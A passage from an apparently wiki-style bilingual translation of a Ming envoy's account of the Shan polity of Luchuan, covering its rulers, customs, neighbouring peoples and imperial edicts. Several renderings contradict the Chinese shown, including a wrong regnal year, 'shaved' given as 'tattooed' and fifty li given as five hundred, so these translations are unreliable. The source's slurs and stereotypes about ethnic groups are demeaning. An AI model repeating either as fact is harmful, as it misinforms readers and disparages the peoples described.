('''昭肖發'''; Hsö Kap Hpa) and established his younger brother '''Sīwǎfā''' ('''思瓦發'''; Hso Vau Hpa) [as ruler]. |- |國朝洪武辛酉，平雲南。明年，思瓦發寇金齒。是冬，思瓦發略于者闌、南甸。其屬達鲁方等輙立滿散之子思侖發，而殺思瓦發於外。即譴使貢白象、犀、馬、方物於朝。廷議不忍絕以化外，乃命福建左參政王鈍率雲南部校郭京美等，諭以向背利害，約以每歲貢獻之率，而遂内附。於是授思侖發为麓川平緬軍民宣慰。丙寅，復寇景東。明年，部屬刁思朗犯定邊，天子命西平侯沐英總兵敗之，獲刁思朗，夷人懼服。上以遠人不加約束，故官稱制度皆從其俗。 |In the current dynasty, in the 58th year (Xinyou) of the Hongwu Emperor ('''1381 A.D.'''), Yunnan was pacified. The next year, '''Sīwǎfā''' ('''思瓦發'''; Hsö Vau Hpa) plundered the Gold Teeth barbarians. That winter, '''Sīwǎfā''' ('''思瓦發'''; Hsö Vau Hpa) captured the territory of '''Zhělán''' ('''者闌''') and '''Nándiàn''' ('''南甸'''). His subordinate '''Dálǔfāng''' （'''達鲁方'''）placed '''Mǎnsàn's''' ('''滿散''') son, '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) as ruler and killed '''Sīwǎfā''' ('''思瓦發'''; Hsö Vau Hpa) when outside. The offered tribute included white elephants, rhinoceroses, horses and other local products. The palace could not bear to cut ties with outside spheres of influence and commanded the Fujian Left Vice Official '''Wáng Dùn''' ('''王鈍''') to lead in the checking of the city walls of Yunnan, order discussions of pros and cons of allegience, discuss the annual tribute rate and secured their submission. He conferred '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) as the Burma Pacification Commissioner. In the third year ('''1386 A.D.'''), he returned to invade '''Jǐngdōng''' ('''景東'''). The next year, his subordinate '''Diāosīlǎng''' ('''刁思朗''') invaded '''Dìngbiān''' ('''定邊'''). The Emperor ordered Marquis of '''Xīpíng''' ('''西平''') '''Mù yīng''' ('''沐英''') to lead an army to defeat him where he caught '''Diāosīlǎng''' ('''刁思朗'''). The barbarians became fearful and submitted. In order not to restrict those far-away peoples, the official system and administration were all in their customs. |- |其下稱思侖發曰『昭』，猶中國稱君主也。所居麓川之地曰者闌，猶中國稱京師也。其屬則置『叨孟』以總統政事，兼領軍民。『昭錄』領萬餘人，『昭綱』領千餘人，『昭伯』領百人；領一伍者为『昭哈斯』，領一什者为『昭准』；皆屬於『叨孟』。又有『昭錄令』，遇有征调，亦與『叨孟』統軍以行。其近侍呼为『立者』，閽寺呼为『割斷』。大小各有分地，任其徭賦。 |'''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) is called '''Zhāo''' ('''昭'''), like how China uses "Lord". '''Lùchuān's''' ('''麓川''') [ruler's] dwelling place is called '''Zhělán''' ('''者闌'''), like how China uses the term "Capital". Their subordinates are known as '''Dāomèng''' ('''叨孟'''), who generally handled political affairs while simultaneously leading the military and civilians. '''Zhāolù''' ('''昭錄''') led over ten thousand households, '''Zhāogāng''' ('''昭綱)''' led over a thousand households, '''Zhāobó''' ('''昭伯''') led a hundred households. Those who led five soldiers were known as '''Zhāohāsī''' ('''昭哈斯'''), those who led ten soldiers were known as '''Zhāozhǔn''' ('''昭准'''). Each [of these] were part of the '''Dāomèng''' ('''叨孟'''). There is also '''Zhāolùlìng''' ('''昭錄令''') who also happen to carry out conscription for the '''Dāomèng''' ('''叨孟''') to gather an army to lead. Their attendants were known as '''Lìzhě'''（'''立者'''). Doorkeepers of Buddhist temples were called '''Gēduàn''' ('''割斷'''). Big or small each had distributed land appointed and endowed to them as compulsory servicefor corvee and taxes. |- |上下僭奢，雖微職亦繫鈒花金銀帶。貴賤皆戴筍籜帽，而飾金寶於頂，如浮圖狀，懸以金玉，插以珠翠花，被以毛纓，綴以毛羽。貴者衣綺麗。每出入，象馬僕從滿途。象以銀鏡數十聯綴於羈靮，緣以銀釘，鞍上有闌如交椅狀，藉以裀褥，上設錦障蓋，下懸銅響鈴，坐一奴鞍後，執長鉤驅止之。遇貴於己者，必讓途而往。凡相見必合掌而拜，習胡人之跪。長於己者必拜跪之，言則叩頭受之。叨孟以下見其主，則膝行以前，二步一拜，退亦如之。執事於貴人之側，雖跪終日無倦狀。貴人之前過，必磬折鞠躬。宴会則貴人上坐，其次列坐於下，以逮至賤。先以沽茶及蒌葉、檳榔啖之（沽茶者，山中茶葉，春夏間采煮之，實於竹筒内，封以竹箬，過一二歲取食之，味極佳，然不可用水煎飲）。次具飯，次進酒饌，俱用冷而無熱。每客必一仆持水瓶側跪，俟嗽口盥手而後食。食畢亦如之，而後起。客十則十人各行一客。酒或以杯，或用筒（筒以蕨楷，或用鵝翎管連贯，各長丈餘，漆之而飾以金，假若一酿酒，則漬以水一滿瓮，插筒手中，立標以驗其盏數，人各以次舉筒咂之。咂酒一盏，仍漬水一盏，傳之次客，味甚佳，至淡，水方止，俗呼为咂酒）。酒與食物必祭而後食，食不用筯。酒初行，一人大噪，眾皆合之，如此者三，乃舉樂。樂有三等：琵琶、胡琴、等笛、響盏之類，效中原音，大百夷樂也。笙阮、排簫、箜篌、琵琶之類，人各拍手歌舞，作緬國之曲，緬樂也。銅饒、銅鼓、響板、大小長皮鼓，以手拊之，與僧道樂頗等者，車里樂也。村甸間擊大鼓，吹芦笙，舞干为宴。長者授卑賤酒食，必叩頭受之，易以他器而食。食畢，仍叩頭而退。 |The people, both high and low [in status], were extravagantly overstepping [in their dress]. Even small duty officials fastened engraved, patterned belts of gold and silver. [Both] nobles and commoners wore bamboo-shoot-woven hats and decorated them with gold, like a crown resembling pagodas, hanging with jade and gold and inserted with pearls and colourful gems, covered with tassels and quilted feathers. The clothes of wealthy individuals are enchantingly beautiful. Whenever one goes out, elephants, horses, and servants fill the roads. The elephants have about ten or so silver mirrors attached to their reins and bridles, edged with silver nails. On the saddle, there is a railing resembling an old wooden-style armchair with cushion-like under padding, a mattress, and brocade above the top and copper ringing bells below [it]. A servant was seated behind the saddle, grasping a long hook to urge and stop [the elephant]. Upon encountering a wealthy person, they certainly yield the way to them. Commonly, when meeting one another, they certainly clasp hands and bow, adopting the kneeling [custom] of the Northwestern peoples [of China]. Elders to oneself are bowed to and kneelt before, and when speaking, they are subjected to kowtow to them. Those below '''Dāomèng''' ('''叨孟'''), seeing their masters, kneel before them, every two steps a bow, and repeat it during withdrawal. Attendants are at a wealthy person's side, despite kneeling all day, do not appear tired. When a wealthy person passes by, they bow deeply.<ref>The sentence is poetically describing the bow as "bending the body as to resemble 磬, a type of percussion instrument". </ref> In banquets, the wealthy are seated first, then next in line are the ones below them and so on, by means to the lowest [of status]. First, they are given tea, areca nuts and betel leaves (The given tea leaves are [harvested] in mountains and brewed in Spring and Summer, stuffed into bamboo tubes, sealed with bamboo leaves for one to two years, ready for consumption, tasting extremely fine, however, cannot be brewed by boiling in water for drinking. Next [to] be provided is rice, following that is wine and delicacies are are [consumed] cold and unheated. Every guest has a servant kneeling on the side holding a water bottle, waiting to cough and rinse the mouth and hands with water and then eat. [Upon] finishing eating this is repeated and then they rise. In the case of ten guests, ten people attend them, one per guest. Wine is either served in a cup or a tube (The tubes are made from Pistachio Bracken or goose plume linked together). Every length is one '''Zhàng''' ('''丈;''' approximately 3m) painted and decorated with gold. If brewing wine, one pot of water is added. Inserting the tube into the hand, it is used to check for the number of cups [it can hold]. Each person lifts the tube to sip from it. After sipping a cup, a cup of water is added, and it is passed to the next person; the taste is exceedingly fine. When the wine's taste dilutes, water is stopped, and this is called '''sipping wine'''.) Wine and good must be sacrificed, and then they eat. Chopsticks are not used to eat. At the begining of the wine [ceremony], one person loudly shouts and multiple people all join in. This is done three times, and then music is played. There are three such types of music: Chinese lute, Huqin (Chinese fiddle) and the flute with ringing cups and so on. It imitates the sounds of the central region<ref>The Yellow River Basin area of China. </ref> and the Great White barbarians, too. Bagpipe, lutes, panpipes, harp, pipa and so on. People each clap their hands and dance. It is performed in Burmese tunes and music. Copper gong, bronze drum, castanets, big, small and long leather drums struck with the hand. It is similar to Buddhist and Taoist music, as well as '''Chēlǐ''' ('''車里''') music. Villages and suburbs have space for striking bass drums, blowing reed pipes and dancing for the feast. Elders give food and drink to the lowly [people], who certainly must bear to kowtow them to exchange utensils and eat. [Upon] finishing eating, they still kowtow and then retreat. |- |凡貿易必用銀，雜以銅，鑄若半卵狀，流通商賈間。官無倉庾，民無税粮。每年秋季，其主遣亲信部屬往各甸，计房屋征金銀，谓之取差發（房屋一間，大者征銀一两、三两，小者一两而止）。無中國文字，小事刻竹木，大事作緬书，皆旁行为记。刑名無律，不知鞭挞，轻罪則罚，重罪則死。或殺，或用人扱殺。或用象打，或投於水，或以绳帛缢。男婦不敢为奸盗，犯則殺之。 |All commercial trade must use silver, mixed with copper, cast to appear like a half egg [shape] to circulate among merchants. The government has no granaries,<ref>There are two characters for granaries, the second is for small private ones, signifying that most did not have this system at all. </ref> the people [likewise] have no grain tax. Every autumn, the owners dispatch trusted aides and subordinates to go to each suburb to calculate and levy households' gold and silver. This is called to go collect money. (For each house: large ones are taxed one or three [taels] of silver, small ones are taxed one tael.) There is no Chinese script; small matters are carved into bamboo or wood, big matters are written into Burmese script, all written horizontally for recording. No laws govern punishment; they do not know whipping or corporal punishment. Petty crimes are penalised, and serious crimes lead to death. Some are killed [directly], while some have another person employed to kill them. Some use elephants to crush them, some throw them in water, while some are hanged with ropes. Men and women do not dare commit adultery or robbery, to violate so will kill them. |- |所居無城池濠隍，惟编木立寨，貴賤悉构以草楼，無窗壁门户，时以花布障围四壁，以蔽风雨而已。邮傅一里設一小楼，數人守之，公事雖千里遠，报在顷刻。無軍民之分，聚則为軍，散則为民。遇有战斗，每三人或五人出軍一名，择其壮者为正軍，呼为『锡剌』。锡剌持兵御敌，余人荷所供。故軍行五六萬，战者不滿二萬。兵行不整，先後不一。多以象为雄势，战則缚身象上。裹革兜，被銅铁甲，用長镖干弩，不習弓矢。征战及造作用事，遇日月食則罢之，毁之。 |The [ruler's] dwelling place has no walls, water moats, trenches or dry moats, only wooden stockades erected. Both nobles and commoners all constructed thatched houses with no windows, ramparts or doors, just printed cloth covering around all four walls, as to cover [from] wind and rain and nothing more. Every mile, there was a small post office, a few people guarded it, [thus] documents even as far as a thousand miles can be reported instantly. There is no distinction between military and civilian [people]. Once assembled, they became soldiers; once scattered, they became civilians. Upon encountering a war, every three or five people would produce one soldier; they would select the strongest to become the principal armed force, known as '''Xīlà''' ('''锡剌'''). The '''Xīlà''' ('''锡剌''') grasped weapons to defend against the enemy, while surplus people carried to supply [them]. Hence, an army of fifty or sixty thousand will have fighters not filling twenty thousand. The soldiers were not organised; their rank formations were not uniform. Many used elephants for their imposing power; fighters tied their bodies onto the elephants. They wrapped leather into helmets, and were covered with copper mail plating, using long spears and crossbows, and did not practice bow and arrow. Any war or manufacturing encountering an eclipse would cease or [either] be destroyed. |- |所用多陶器，惟宣慰用金銀玻璃，部酋間用金銀酒器。凡部酋出，其器用、仆妾、财寶之類皆随之，從者千余，昼夜随所适，必作宴笑樂。 |Most utensils [they use] were pottery. Only the '''Xuānwèi''' ('''宣慰''') use gold, silver and glass. Tribal chiefs among them used gold, silver and wine cups. Commonly [when] tribal chiefs go out, their utensils, servants, concubines, money, jewels and so on all subsequently all follow him. He is accompanied by over a thousand followers. Day and night, wherever he subsequently goes, there will be feasts, laughter and music. |- |男子衣服多效胡服，或衣宽袖長衫，不识裙袴。其首皆髡，胫皆黥。不髡者殺之，不黥者眾叱笑，比之婦人。婦人髻绾於後，不谙脂粉，衣窄袖衫，皂統裙，白裹頭，白行缠，跣足。其俗賤婦人，貴男子，耕织徭役担负之類，雖老婦亦不得少休。嫁娶不分宗话，不重处女。年未笄，听與男子私，從至其家，男母为之濯足，留五六昼，遣歸母家，方通媒妁，置财礼娶之。凡生子，貴者浴於家，賤者浴於河，數日，授子於夫，仍服劳無倦。酋長妻數十，婢百余，不分妻妾，亦無鮅忌。男女浴於河，雖翁婦叔嫂，相向無耻。子弟有職名，則受父兄跪拜。父母亡，用婦祝尸，亲邻咸馈酒肉，聚年少环尸歌舞宴樂，婦人擊碓杵，自旦達宵，數日而後葬。其棺若馬槽，無蓋，置尸於中，抬往葬所，一人執刀持前导。及瘗，其生平所用器物，坏之於側而去。 |Many men's clothes mainly imitate non-Han clothing, or they wear wide-sleeved long gowns, not knowing skirts or trousers. Their heads are all tattooed, their shins are all tattooed. Untattooed heads would be killed, and untattooed legs would be laughed at and compared to women. Women tied their hair into a topknot at the back; they are not versed in cosmetics, and their clothes are narrow-sleeved garments [jackets] and a soap-style skirt. [Her] head is wrapped in white, her body is wrapped in white, and they go barefoot. Their custom is women, commoners, noblemen, must all undertake compulsory labour service and so on. Even old women must not rest a little. Marriage does not distinguish clan or language or virginity [of women]. Before even fifteen years, they are allowed private liaisons with men. She follows him to his home, and the man's mother washes her feet. She remains there for five or six days, [she] is then sent back to her mother's house. Then they communicate with a matchmaker and buy betrothal gifts to take her as a wife [for him]. Ordinarily with the birth of a child, a nobleman bathes in the home, while commoners bathe in the river. For a few days, she gives the child to her husband and continues to dress, toil, and work without tiring. The wives of a tribal chief number ten, his slave girls can surpass one hundred, there is no distinction between wife and concubine, also there is no '''Bìjì''' ('''鮅忌''').<ref>Unsure as to what this means. The first character is a type of fish and an extremely obsolete character not used anymore. It is a compound to something about jealousy, however I do not know what this compounded term relating to jealousy might be. Preliminary thought would be, the wives do not compete, or do not dread their hierearchy? </ref> Men and women bathe in the river, even old men, women, uncles, sister-in-laws [bathing] face to face have no shame. If a child has an office title, then they will be accepted, and the father and brothers will kneel and kowtow to him. When parents die, they use women to pray for the corpse. Relatives and neighbours all make an offering of wine and meat. They assemble young people around the corpse, singing and dancing, making merry. Women strike the pestle from dawn to night, and only after a few days, they bury the dead. The coffin seems like a horse trough, with a lid; they cover the corpse in the middle. They lift and carry the coffin to the burial place; one person holds a knife and leads the way. When the burial takes place, the objects the deceased had used during their life are broken beside the burial, and then people depart. |- |} ===Ethnic Groups and customs=== {| class="wikitable" style="text-align:center; width:80%;" |+ A list of ethnic groups encountered and their traditions and general customs. |- ! scope="col" | Original ! scope="col" | Translation |- |其俗，不祀先，不奉佛，亦無僧道。小百夷居其境之東北邊，或学阿昌，或学蒲蠻，或仿大百夷，其習俗不一。 |Their customs do not offer sacrifices [to ancestors], do not revere the Buddha. There are no Buddhists and Daoists [among them]. The Lesser One Hundred Barbarians reside on the northeast border, following Āchāng ('''阿昌''') customs, following Pú ('''蒲''') customs and some imitate the Greater One Hundred Barbarians. Their customs are not the same (uniform). |- |車里，亦谓小百夷，其俗刺额、黑齒、剪發，狀如頭陀。 |[The people of] '''Chē lǐ''' ('''車里''')<ref>'''Chē lǐ''' ('''車里''') refers to the Cheli Military and Civilian Pacification Commissioners Office. It was a Tai State that located at Jinghong City in modern day Xishuangbanna in Yunnan.</ref>, are also called Lesser One Hundred Barbarians. Their customs are tattooing foreheads, blackening teeth and cutting hair. Appearing as if like ascetic monks. |- |哈刺，男女黑真黑。男子以花布为套衣，亦有效百夷制者；婦人髻在後，项系雜色珠，以娑罗布披身上为衣，横系於腰为裙（娑罗布即中國木棉布，坚厚，或织以青红纹）。仍环黑藤數百围於腰上，行缠用青花布，赤脚（蒲蠻、阿昌，事見《雲南志》）。 |'''Hā cì''' ('''哈刺'''), men and women are [both] black, truly black. Men use printed cloth<ref>g</ref> for covering themselves, also which the One Hundred bararians effectively manufacture; married women have top knots behind [their head]. It is tied at the back of their neck with various pearls and beads. '''Suō luó''' ('''娑罗''')<ref>'''Sarong''' today, however this appears to be a complex term with many copyediting issues historically, Brahmin drapes, Suoluolong, eventually describing a type of silk-cottob robe made from plant materials.</ref> are draped around their bodies as clothes, horizontally it connected at the waist and lower back as a skirt. ('''Suō luóbù pī''' ('''娑罗布披''') namely is the Chinese Cotton Tree (Bombax Ceiba) cloth, strong and thick, possibly weaved as blue, red patterns.) Yet it encircles black rattan several hundred times, wrapped at the waist and lower back, it wraps around [their leg] to be used as a blue printed cloth [as they're] barefoot. ([Used amongst the] Pú mán (蒲蠻), āchāng (阿昌), shì jiàn (事見); [according to the] The Yunnan Gazeteer<ref>Written by Fan Chuo of the 9th century, also known as 蛮书 (Barbarian Document)</ref>.) |- |古刺，男女色甚黑。男子衣服装飾類哈刺，或用白布为套衣。婦人如罗罗狀（罗罗見《雲南志》）。 |'''Gǔ cì''' ('''古刺''') [people] are coloured extremely black. The men's clothes, decorations and adornments closely resembled the '''Hā cì''' ('''哈刺'''), and they use white cloth as [outer] covering garments. Married women resemble the '''Luó luó''' ('''罗罗''') [people]. ([For the] '''Luó luó''' ('''罗罗''') see The Yunnan Gazeteer.) |- |漂人，男女衣服皆類百夷。婦人以白布缠頭，衣露腹，以红藤缠之，娑罗布为裙，两接，上短下長，男女同耕。 |Pyu people<ref>This is the last time a document mentions the existence of Pyu people, namely. The Burmese stopped mentioning them by the 12th century, as did the Persians in the 10th century. Their retention of it suggests that absorption was slower and that the Burmese and Pyu were still distinct, according to the envoys.</ref>, [the] men and women's clothes all resemble the One Hundred Barbarians. Married women wear white cloth wrapped around their head, their clothes expose their stomach/ naval. By means of red rattan winding around them, the '''Suō luó''' ('''娑罗''') [is worn] as a skirt. Two [cloths] connect, upper [cloth] is short, bottom [cloth] is long. Men and women [both] till [the fields]. |- |緬人，色黑類哈刺，男女頭上以白布缠高三四尺，衣大袖白布衫，腰以下一布通前後便缠之，貴者布長二丈余，賤者不一丈。甚善水，嗜酒。其地有树，狀若棕，树之杪有如筍者八九茎，人以刀去其尖，缚瓢於上，過一宵則有酒一瓢，香而且甘，飲之輙醉。其酒经宿必酸，炼为烧酒，能飲者可一盏。有为僧者，以黄布为袈裟，袒右手，戒行極精，午後不飲食。婦人貌陋甚淫，夫少不在，則與他人私，遂为夫婦。以白布裹頭而披花为衣。 |Burmese people, [their] colour is black like the '''Hā cì''' ('''哈刺'''). Men and women [both] on their heads have white cloth wrapping around it [aproximately] as long as three to four '''Chǐ''' ('''尺''';1.2 m-1.36 m). Their clothes are large-sleeved white cloth garments. Below the waist and lower back, one cloth goes all around to be wrapped around them. Expensive cloth is as long as two '''zhàng''' ('''丈'''; 6.2m-6.8m). Inexpensive [cloth] is not even one '''zhàng''' ('''丈'''; 3.1m-3.4m). They are extremely well-disposed to water and fond of wine. On their land, their trees appear as palm trees. They cultivate eight to nine stalks, with the tips of the leaves resembling bamboo shoots. The people take knives and cut off the tips. They bind a dried gourd ladle to it. After one night, it becomes a gourd of wine, fragrant and sweet to drink to intoxication. Their wine, undergoing [another] night, certainly becomes bitter; it gets refined into '''Shāojiǔ''' ('''烧酒''')<ref>A famous Tang Dynasty wine beverage.</ref>. [Heavy] drinkers can only drink one small cup. There are monks. Yellow cloth is used as Kasaya robes (Buddhist robes) with the right arm remaining bare. They strictly adhere to the utmost discipline. They do not eat or drink in the afternoon. Women's appearances are excessively plain, and they are promiscuous. If husbands are away briefly, they enter into relations with other men and succeed as a married couple. White cloth is wrapped around their head and draped on their shoulders in a printed way. |- |哈杜，巢居山林，無衣服，不识农业，惟食草木禽兽，善骑射。冷則抱巨石，山坡間往復奔走，以汗出为度。 |'''Hā dù''' ('''哈杜''') [people] reside in nests in mountain forests; they do not wear clothes. They have no knowledge of agriculture. Only eating vegetation and birds and creatures. They are adept at horses and archery. [When] cold, they grab a boulder and make running trips back and forth between mountainsides until they perspire out to the temperature. |- |弩人，目稍深，貌尤黑，额颅及口邊刺十字十余。 |'''Nǔ''' people ('''弩人'''; crossbowman people), [have] deep-set eyes, [their] appearance is outstandingly dark. Their forehead and mouth edges are tattooed with crosses more than ten times. |- |有结些者，從耳尖連颊皮破，以象牙为大圈，横贯之，以花布裹頭，而垂余布於後，衣半身衫，而袒其肩。婦人未详。其人居戛璃者多。 |[There] is some knotted "Zo" people<ref>This translation is messy. However, it is the first use of the Zhexie/Jiexie term, which was popularised during the Qing era. However, this early, 些 Xie was actually Suo, like the Mosuo people. Hence, the name appears to be a misrendering of Zo people from an intermediary translator, possibly.</ref>, from the tips of the ears to the cheeks, the skin is pierced. Using ivory as a large ring, they pass it horizontally through [the pierced skin]. Printed cloth is wrapped around the head and hangs down onto their back as a partially wrapped robe and bears their shoulders. Nothing is known/reported concerning the women.<ref>Likely possibly meaning that the women are indistinguishable from men. An observation echoed by the British of the Zo people during the colonial era.</ref>. Many of these people habitat at '''Kalay'''. |- |諸夷言语習俗雖异，然由大百夷为君長，故各或效其所为。夷人有名不讳，無姓。 |Although the various barbarian languages and customs are different, they follow the Greater One Hundred Barbarians as their central ruler. Therefore, possibly each group imitates that they do. The Yi people have names but observe no naming taboos; they have no surnames. |- |無医卜等书。不知时节，惟望月之盈亏为候。有事惟鸡卜是决。疾病不知服药，以姜汁注鼻中。病甚，命巫祭鬼路側，病疟者多愈，病熱者多死。地多平川沃土，民一甸率有數十千户，眾置貿易所，谓之街子。婦人用锄地，事稼穑，地利不能尽，然多产牛、羊、鱼、果。 |There are no books on medicine and divination. They are unaware of seasons. Only the moon in its waxing and waning is observed. For matters, a chicken is used for divination. For diseases they do not know how to take medicine. They pour ginger juice into their noses. For extreme sickness, the shaman offers spirit sacrifices next to the road. Those suffering from malaria are likely to recover. Those with a fever are more likely to die. The land is flat with plains and fertile, the people of a district can lead up to ten thousand households. They install commercial trade posts known as ''street markets'' ('''街子'''; Jiē zǐ). Women hoe and weed the soil and [attend] matters to do with sowing and reaping. The productivity of land cannot be exhausted, as there are many ox, sheep, fish and fruits. |- |其气候：春夏雨，秋冬晴，腊月亦如春，昼暄夜冷，晓多烟雾，無霜，春秋烟瘴甚盛。 |Their climate: In spring and summer, it rains. In autumn and winter, it is clear. In the 12th Lunar month ('''December-Feburary''') it feels like spring. The daytime is warm, and the nighttime is cold. At dawn, there is a lot of fog. They have no frost. Spring and Autumn miasma carries an excessive level of malaria. |- |其飲食之异者：鳅、鳝、蛇、鼠、晴蜓、虫负、蛟、蝉、蝗、蚁、蛙、土蜂之類以为食；鱼肉等汁暨米汤信宿而生蛆者以为飲。 |Their food and drink are unusual in the following ways. Loach, eels, snakes, dragonflies, insects, aquatic animals, cicadas, locusts, ants, frogs, and scoliod wasps are all types of food. They drink the juice of fish, meat, and rice gruel, which, over two nights, gain maggots, which are eaten. |- |其草木禽兽之异：草則秋間數十百株结为一聚，地产此草，烟瘴尤甚。树木多有三四株结为連理。有大如斗之柑，有鲇頭鲤身之鱼，水牛頭黄牛身之牛，绵羊頭山羊身之羊。雄鸡多伏卵，亦有生卵者。者闌有一池，沸如汤，人多投肉熟之。 |Their plants and animals are unusual: in autumn, their grass joins from hundreds of stalks to cluster. The land these grasses grow on has an excessively strong malarial miasma. Trees often produce multiple stumps in a fusion. There are large tangerines as large as dippers. There is [a] fish with a sheatfish head and carp bodies. There are oxen with water buffalo heads and yellow ox bodies. There are sheep with sheep heads and mountain goat bodies. Roosters brood over eggs, there are also [males] that lay eggs. At '''Zhě lán''' ('''者闌''')<ref>On the Shan Myanmar and China border near Muse.</ref>, [the size of] ponds for boiling soup. People often cast mature meat in it. |- |境内所产珍物：雅琥、琥珀、犀、象、鹦鹉、孔雀、鳞蛇、脑、麝、阿魏、金、銀、玻璃之類。 |Within its borders are the following precious items it produces: elegant amber, amber, rhinoceros, elephant, parrots, peacocks, snake scales, brains, musk deer, Resina Furelae, gold, silver, glass types of products. |- |其山水险隘。北有高良弓山，横亘二百余里，高五十余里，與怒江相倚。西有馬安山，山有一关，若一人守关，萬夫难入。東为麓川江，可通舟楫。南與金沙江合而入於西海。南下交趾界。金沙江之南，有東胡、得冷、緬人三國。緬之西即西天也。 |The mountains have narrow, dangerous river passes. North there is the Gaoligong Mountains, it horizontally extends two hundred '''Lǐ''' ('''里'''), and is tall as five hundred '''Lǐ''' ('''里''') right next to the '''Nùjiāng''' ('''怒江'''). West is the '''Mǎ'ān Mountain''' ('''馬安山'''). The mountain has one mountain pass. If one person guards the pass, then ten thousand will struggle to enter. East is the '''Lù chuān River''' ('''麓川江'''). You can pass it in an oarboat. South is the '''Jīnshā River''' ('''金沙江''') which enters at the western sea. South it borders '''Jiāozhǐ''' ('''交趾'''; Vietnam). Further south of the '''Jīnshā River''' ('''金沙江''') are the three polities, which has '''Dōnghú''' ('''東胡'''； Eastern Barbarians), '''Dé lěng''' ('''得冷'''; Derung people) and '''Miǎn people''' ('''緬人'''; Burmese people). West of Burma lies the Western Regions<ref> A term for India and Central Asia, which were Buddhist.</ref>. |- |緬國古舍利國，又名狮子國，多佛塔。緬國與夷連歲横兵。洪武之亥冬，緬人诉於朝。丙子春，皇帝遣臣古训及桂阳李思聪至两國，諭以睦邻之义。 |Burma, formerly the '''Shèlì country''' ('''舍利'''), also known as the Lion Country, is filled with pagodas. Burma and the Yi Barbarians were in continuous warfare for years. During the reign of the Hongwu Emperor in the winter of the year of the boar ('''1395 A.D.'''), Burma issued a royal complaint. In Spring of the Year of the Rat, ('''1396 A.D.'''), the Emperor dispatched official Guxun and Li Cong of Guiyang to the two countries to order them to get on well as neighbours with righteousness. |- |} ===Statements and Relations between the Kingdoms=== {| class="wikitable" style="text-align:center; width:80%;" |+ Outcome of the envoys mission and political relations between Shans and Burmese. |- ! scope="col" | Original ! scope="col" | Translation |- |其諭緬國王曰： |In it, I addressed the King of Burma, saying: |- |『里路险遠，山川阻修，风殊俗异，此乃天造地設也。尔能勤使者，涉险遠，越邻邦以至中夏，其使者之难，冲烟突雾，晨進昏止，饥餐渴飲，吞吐烟岚，异风霜而方至。其为使者，不亦难乎！古人有云：诚君子將有事於遠，友千里之外，神交而志通。今萬里之外，尔能勤使而至，遠修其好，美絕古而惟今。然排难解纷之事，朕之旨意，恨不一言而正，使彼此各罢兵守，樂黎民於市野，民居共处，砃相邻而同井飲，籍雖两國之民，居处难分，惟存关市有讥，是其和也。若尔緬不主衅，夷不强凌，如此，雖弱自保，以奉天道。其或不听朕命，忿争不已，天將昭鉴，福善祸淫，迟速可待。鯩至，朕不多诫。但诚可以交天人，尔其审之，母忘朕諭。』 |The roads are dangerous, and far, mountains and rivers are obstructive and long. Their social ways and customs are different. This is what heaven and earth have established. Yet you are able to diligently [carry out your duties as an] envoy. Taking risks far, passing neighbouring countries to the Chinese heartland. Clashing with smoke, dashing through mist. Advancing at dawn and stopping at twilight, eating when hungry and drinking when thirsty. Breathing in and exhaling mountain vapours, enduring unfamiliar winds and frost before finally arriving. To be an envoy was this not difficult? The ancient people have a saying: <em>Truly, when a gentleman has affairs to undertake in distant places, he has friends a thousand <strong>Lǐ</strong> (<strong>里</strong>)， their spirits commune in spirit and their intentions are mutually understood.</em> Now ten thousand '''Lǐ''' ('''里''') away, you can diligently envoy and arrive, from afar cultivate their friendship. However, regarding the matter of resolving difficulties, this is my intention. I lament that I cannot settle the matter in a single utterance as to cause both sides to cease war and guard their territory so that the common people might enjoy marketplaces and countryside. Let the people coexist [as] neighbours of white stone who drink from the same well. Although registered as the people of two countries, their dwellings are difficult to distinguish. Only the inspections at frontier markets will remain. This would be peace between them. If the Burmese do not initiate hostility, and the '''Yi''' do not forcefully oppress you, in this way, althought [one is] weak it may defend itself, as to follow the law of heaven. If they do not listen to my order, angry contention will not cease; heaven will see it clearly. Blessed will the good, and calamity will be brought on the transgressor, quick or slow; the consequences will come. <strong>Lún</strong> (<strong>鯩</strong>) arriving, I will not elaborate further; only sincerity can bring one into accord with heaven and humanity. You must consider this; do not forget my instruction. |- |諭思侖發曰： |Above '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) spoke: |- |『朕中國先古圣人，驭顽礼德，各有条章。是条章也，列圣相继，守而行之，上下相安，黔黎樂业。何也？諸侯敬畏，世禄子孙，國祚绵長，乃九伐之功驗也。列國敢有凭弱犯寡者，天子發兵以眚之；贼贤害民者，亦發兵以伐之；暴内凌外，則兴師以坛之；野荒民散，則用兵以削之；负固不服，則舉兵以侵之；贼殺其亲，則正其罪以殺之；放弑其君，則明其罪以诛之；犯令凌政，則杜而絕之；内外乱，鸟兽行，則殄灭之。九伐之征如是也。尔思侖發，以中國较之，合问凭弱犯寡之由。何以見？歲以兵寇車里，不时侵掠八百，恃强犯緬；戛璃國小民寡，而已平之，斯说也，不過告诫之词。中國周临四夷，與諸酋長地里相接，居民亦相密迩，如此者，耳闻之邦若干，目擊之邦若干，朕未嘗恃强凭凌，絕灭其嗣者。雲南之地，已为我有，似乎尚强以取之，非也！乃元世子孙梁王者，恃元之苗裔，匿我有罪，納我逋逃，诱我邊守，是乃不得已而發问罪之師，非無故而兴師。此乃元运天更，其苗裔不当安处。况生事於我邻邦，其理势使然，夷如反掌。尔麓川之蠢，初擅兴金齒之役，次谋景東而寇定邊，理当大發精兵而较胜负。朕释而不较，未嘗强尔为約束之邦，听尔自为声教，今又几年矣。近闻蚕食邻邦，意在扩土地而擅有其眾，又將为我西南之役。噫，未可！古中國圣人有云：‘山川地理人物之類，乃神器也，非人强有，必天授然後得之’。尔思侖發不修邻邦之好，三面發兵，蚕食諸國，其贪也如是，其谋也如是。彼麓川周临之國，始古至今，各有主者，未嘗吞并。朕雖不能止尔，听尔自为，果天道使然，尔以人事应之，或为而可。噫！以朕戒尔守全則可，不守全而以全动，設若全亏，是为全亡，莫如守全以圖绵長，不亦美乎？』 |The ancient sages of my Middle Kingdom governed the unruly through ritual propriety and moral virtue, each had rule and regulations. These rules and regulations were arranged in successive order to preserve them and put them into practice. Those above and below lived in mutual harmony. The common people enjoyed their livelihoods. Why is that? Local rulers revered [central authority], the descendants inherited their stipends and ranks, the state's fortunes endured for a long time. Thus [these] were the proof of the achievements of the Nine expeditions. Various states that dare to rely on strength to attack the weak, the Son of Heaven would send troops to punish them. Those who harm the worthy and injure the people would likewise be militarily punished. If a ruler oppressed those 